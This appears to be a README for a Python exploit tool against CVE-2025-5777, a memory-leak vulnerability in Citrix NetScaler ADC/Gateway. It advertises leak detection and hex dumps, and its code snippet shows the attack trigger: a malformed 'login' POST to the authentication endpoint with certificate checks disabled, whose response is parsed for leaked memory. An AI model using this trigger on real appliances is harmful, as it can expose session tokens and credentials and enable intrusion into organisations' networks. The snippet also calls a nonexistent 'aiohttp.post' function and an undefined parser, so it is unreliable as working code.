## **📌 Overview**  
This tool demonstrates **CVE-2025-5777**, a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway devices. The exploit leaks sensitive memory contents via malformed authentication requests.  

**Key Features:**  
✔ **Memory leak detection** via XML response parsing  
✔ **Hex+ASCII dump** of leaked memory regions  
✔ **Burp Suite-compatible** request format  
✔ **Asynchronous requests** for efficient testing

## **🖥️ Code Highlights**  
```python
# Malformed request trigger
async def exploit(target):
    async with aiohttp.post(
        f"{target}/p/u/doAuthentication.do",
        data="login",  # Missing equals sign triggers leak
        ssl=False
    ) as response:
        await parse_leak(await response.read())
```
